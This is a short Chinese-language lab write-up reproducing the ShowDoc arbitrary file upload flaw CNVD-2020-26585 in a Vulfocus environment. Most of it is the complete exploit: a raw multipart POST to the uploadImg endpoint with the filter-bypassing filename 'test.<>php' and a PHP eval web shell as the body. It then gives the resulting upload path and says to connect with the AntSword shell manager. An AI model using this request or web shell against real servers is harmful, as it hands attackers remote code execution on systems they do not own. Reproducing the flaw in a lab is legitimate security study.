showdoc 文件上传 (cnvd-2020-26585)
描述
ShowDoc是一个非常适合IT团队的在线API文档、技术文档工具。通过showdoc,你可以方便地使用markdown语法来书写出美观的API文档、数据字典文档、技术文档、在线excel文档等等。 api_page存在任意文件上传.
复现环境
VULFOCUS
复现过程
进入页面
刷新,抓包
将全部报文替换,更改 host,放包
http
POST /index.php?s=/home/page/uploadImg HTTP/1.1
Host: 10.9.47.6:33974
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: multipart/form-data; boundary=--------------------------921378126371623762173617
Content-Length: 265
----------------------------921378126371623762173617
Content-Disposition: form-data; name="editormd-image-file"; filename="test.<>php"
Content-Type: text/plain
<?php echo '123_test';@eval($_POST[cmd])?>
----------------------------921378126371623762173617--
显示文件位置
http://10.9.47.6:33974/Public/Uploads/2023-10-27/653ba623bb98c.php
成功上传
蚁剑连接